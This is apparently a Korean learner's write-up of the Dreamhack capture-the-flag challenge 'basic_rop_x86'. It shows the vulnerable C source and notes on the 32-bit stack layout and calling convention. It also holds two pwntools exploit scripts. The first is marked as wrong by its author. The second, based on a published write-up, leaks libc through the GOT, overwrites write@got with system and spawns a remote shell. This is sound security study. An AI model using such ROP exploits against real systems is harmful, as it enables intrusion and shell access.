basic_rop_x86

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

x64랑 같은 코드인 거 같긴 한데..

Image

카나리도 동일하게 없음

그러나 32비트는 리틀엔디언이라는 점 주의..

Image

ebp-0x44인 걸 봐서는 더미 0x4만큼 존재함
buf(0x40)dummy(0x4)ebp(0x4)ret(0x4)

x64 참고해서 내가 작성해보기.. (아래 코드 틀린 내용임)

from pwn import *
def slog(n,m): return success(': '.join([n,hex(m)]))

p=remote('host3.dreamhack.games',17105) 
e=ELF('./basic_rop_x86') 
libc=ELF('./libc.so.6')
r=ROP(e) 

#필요 정보 수집 
pop_rdi #일단 냅두고 
read_plt=e.plt['read']
read_got=e.got['read']
write_plt=e.plt['write']
write_got=e.got['write']
bss=e.bss() 

read_offset=libc.sym['read']
system_offset=libc.sym['system']

pop_rdi=r.find_gadget(['pop rdi','ret'])[0]
pop_rsi_r15=r.find_gadget(['pop rsi','pop r15','ret'])[0]
ret=r.find_gadget(['ret'])[0]

payload=b'a'*0x48

#write(1,read@got,16) 
payload+=p32(pop_rdi)+p32(1)
payload+=p32(pop_rsi_r15)+p32(read_got)+p32(16) 
payload+=p32(write_plt) 

#read(0,bss,8) 
payload+=p32(pop_rdi)+p32(0) 
payload+=p32(pop_rsi_r15)+p32(bss)+p32(8) 
payload+=p32(read_plt) 

#got overwrite 
payload+=p32(pop_rdi)+p32(0)
payload+=p32(pop_rsi_r15)+p32(write_got)+p32(16) 
payload+=p32(read_plt) 

#write() 호출 -> system 호출 
payload+=p32(ret) 
payload+=p32(pop_rdi)
payload+=p32(bss) 
payload+=p32(write_plt) 

#익스플로잇 
p.send(payload) 

p.recvuntil(b'a'*0x40)
read=u32(p.recvn(6)+b'\x00'*2) 
lb=read-read_offset 
system=lb+system_offset 

slog('libc_base',lb)
slog('read',read)
slog('system',system) 

p.send(b'/bin/sh\x00')
p.send(p32(system))
p.interactive()

일단 냅뒀던 pop_rdi 찾아야 하는데

Image

아무것도 뜨지 않음
libc에서 찾아야 할 거 같다
없다
libc_csu_init 가젯 방법 사용해야 할 거 같다(ROP 강의에서 잠깐 언급됐던거..)

혼자 하려니까 모르겠어서 그냥 라이트업 봤다 ㅋ
디셈블 부분부터 다시 보자..

Image

스택에 필요 부분 할당.. esp부터 sub 0x40해주는 건 buf의 자리를 위함

Image

ebp-0x44를 edx에 담는다.. eax 0x0.. ecx 0x10.. edi에 edx 값
rep stos: eax에 있는 값을 ecx만큼 반복하여 edi에 이동

initialize() 함수 호출

Image

read 함수 호출 부분..
0x400 스택 push
ebp-0x44 eax에 옮겼다가 push
0x0 push
모든 인자값이 스택으로 이루어지는 것 확인.. (64비트에서는 레지스터 사용..)
add 명령어 부분은 아마 스택 정리를 위한.. 호출 규약에 따른 부분일 것..

다시 또 0x40 push
ebp-0x44 push
0x1 push
write 함수 call..

read에서도 write에서도 모든 인자가 스택에서 이루어지는 것 확인.. 스택 정리도 caller에서 정리
64비트와 다른 점.. 스택에 쌓이는 인자 순서가
인자, ret, 함수의 지역 변수..순이기 때문에 plt -> 반환 주소값 순으로 입력
인자3 > 인자2 > 인자1 > ret > plt //이부분 더 공부해서 이해하기..

from pwn import *
context.arch='i386'

p=remote('host3.dreamhack.games',17105)
e=ELF('./basic_rop_x86')
libc=ELF('./libc.so.6')

# 필요 정보 수집.. 
read_plt=e.plt['read']
read_got=e.got['read']
write_plt=e.plt['write']
write_got=e.got['write']

read_offset=libc.sym['read']
system_offset=libc.sym['system']

pop_esi_edi_ebp=0x08048689
pop_ret=0x0804868b 

bss=e.bss()

#stack+sfp
payload=b'a'*0x44 +b'b'*0x4 

#write(1,read_got,4)
payload+=p32(write_plt)
payload+=p32(pop_esi_edi_ebp)
payload+=p32(1)
payload+=p32(read_got)
payload+=p32(4) 

#read(0,bss,8) 
payload+=p32(read_plt)
payload+=p32(pop_esi_edi_ebp)
payload+=p32(0)
payload+=p32(bss)
payload+=p32(8)

#read(0,write_got,4)
payload+=p32(read_plt) 
payload+=p32(pop_esi_edi_ebp)
payload+=p32(0)
payload+=p32(write_got)
payload+=p32(4) 

#write("/bin/sh",0,0)
payload+=p32(write_plt) 
payload+=p32(pop_ret)
payload+=p32(bss) 

p.send(payload)
p.recv(0x40)

read=u32(p.recvn(4))

lb=read-read_offset 
system=lb+system_offset 

p.send(b'/bin/sh\x00')
p.send(p32(system))

p.interactive()

Image